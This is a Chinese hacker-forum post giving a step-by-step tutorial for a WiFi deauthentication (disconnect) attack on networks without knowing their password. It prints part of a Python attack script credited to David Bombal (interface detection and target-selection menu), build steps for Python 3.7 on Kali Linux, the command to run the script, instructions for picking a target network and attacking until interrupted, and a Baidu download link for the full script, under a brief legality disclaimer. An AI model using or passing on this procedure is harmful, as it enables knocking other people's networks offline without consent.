[密码攻击] 在不需要WiFi密码的情况下进行断网攻击

659 0
Honkers 2025-9-16 10:29:50 | 显示全部楼层 |阅读模式

在不需要WiFi密码的情况下进行断网攻击

  • 本教程只能用于学习研究之用 任何未经他人允许的攻击行为都是违法行为
  • 参考教程 https://www.youtube.com/davidbombal
准备
  1. * kali linux 系统 这里使用的是虚拟机
复制代码


* 一张可以开启监听模式的网卡
* 两张网卡使用那一张都可以

* 本教程使用的是 python编写的脚本代码 以下是部分代码
* 在代码中作者写了大量的注释 以供使用者参考

  1. active_wireless_networks = []
  2. # We use this function to test if the ESSID is already in the list file.
  3. # If so we return False so we don't add it again.
  4. # If it is not in the lst we return True which will instruct the elif
  5. # statement to add it to the lst.
  6. def check_for_essid(essid, lst):
  7. check_status = True
  8. # If no ESSIDs in list add the row
  9. if len(lst) == 0:
  10. return check_status
  11. # This will only run if there are wireless access points in the list.
  12. for item in lst:
  13. # If True don't add to list. False will add it to list
  14. if essid in item["ESSID"]:
  15. check_status = False
  16. return check_status
  17. # Basic user interface header
  18. # This is a period of output, don't want you to do it.
  19. print(r"""______ _ _ ______ _ _
  20. | _ \ (_) | | | ___ \ | | | |
  21. | | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| |
  22. | | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | |
  23. | |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | |
  24. |___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""")
  25. print("\n****************************************************************")
  26. print("\n* Copyright of David Bombal, 2021 *")
  27. print("\n* https://www.davidbombal.com *")
  28. print("\n* https://www.youtube.com/davidbombal *")
  29. print("\n****************************************************************")
  30. # If the user doesn't run the program with super user privileges, don't allow them to continue.
  31. if not 'SUDO_UID' in os.environ.keys():
  32. print("Try running this program with sudo.")
  33. exit()
  34. # Remove .csv files before running the script.
  35. for file_name in os.listdir():
  36. # We should only have one csv file as we delete them from the folder
  37. # every time we run the program.
  38. if ".csv" in file_name:
  39. print("There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.")
  40. # We get the current working directory.
  41. directory = os.getcwd()
  42. try:
  43. # We make a new directory called /backup
  44. os.mkdir(directory + "/backup/")
  45. except:
  46. print("Backup folder exists.")
  47. # Create a timestamp
  48. timestamp = datetime.now()
  49. # We move any .csv files in the folder to the backup folder.
  50. shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)
  51. # Regex to find wireless interfaces. We're making the assumption they will all be wlan0 or higher.
  52. wlan_pattern = re.compile("^wlan[0-9]+")
  53. # Python allows is to run system commands by using a function provided by the subprocess module.
  54. # subprocess.run(<list of command line arguments goes here>)
  55. # The script is the parent process and creates a child process which runs the system command,
  56. # and will only continue once the child process has completed.
  57. # We run the iwconfig command to look for wireless interfaces.
  58. check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())
  59. # No WiFi Adapter connected.
  60. if len(check_wifi_result) == 0:
  61. print("Please connect a WiFi adapter and try again.")
  62. exit()
  63. # Menu to select WiFi interface from
  64. print("The following WiFi interfaces are available:")
  65. for index, item in enumerate(check_wifi_result):
  66. print(f"{index} - {item}")
  67. # Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from.
  68. while True:
  69. wifi_interface_choice = input("Please select the interface you want to use for the attack: ")
  70. try:
  71. if check_wifi_result[int(wifi_interface_choice)]:
  72. break
  73. except:
  74. print("Please enter a number that corresponds with the choices available.")
复制代码
具体步骤
  • 将提前准备好的 网卡插入 电脑并切换到虚拟机
  • 由于kali linux 自带的python 不是3.7而是3.6 所以要重新下载 python
  • 打开终端 输入一下命令 下载
  1. wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tgz
复制代码
  • 解压压缩包
  1. tar -zxvf Python-3.7.0.tgz
  2. # 将解压出来的文件夹复制到 /usr/local/ 目录下
  3. cp -r python-3.7.0 /usr/local/
复制代码
  • 然后进行编译安装
  1. ./configure --enable-optimizations --prefix=/usr/local/Python-3.7/ && make && make install
复制代码
  • 在进入到解压出来的文件的位置后输入
  1. ./python --version
复制代码

查看版本信息

  • 在下载的python文件夹里 运行 python文件 s
  • 上面的代码文件我已经放在了 ~/ 目录下
  1. sudo ./python ~/wifi_dos_type1.py
复制代码
  • 这里会提示 插入的网卡 wlan0
  • 因为这里只有一张 所以就只有一个 输入网卡前的序号
  • 这里是自动开启网卡的监听模式 来扫描附近的WiFi
  • 再按下 之后 会出现提示 在这里输入要攻击WiFi编号
  • 输入编号之后 会自动攻击知道关掉终端或者 按 ctrl + c 强行中断

  • 脚本代码下载地址
    链接:https://pan.baidu.com/s/1VUPeB3qwZd2lZJdahsiZoA 提取码: i2nv

6658)]

  • 脚本代码下载地址
    链接:https://pan.baidu.com/s/1VUPeB3qwZd2lZJdahsiZoA 提取码: i2nv

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行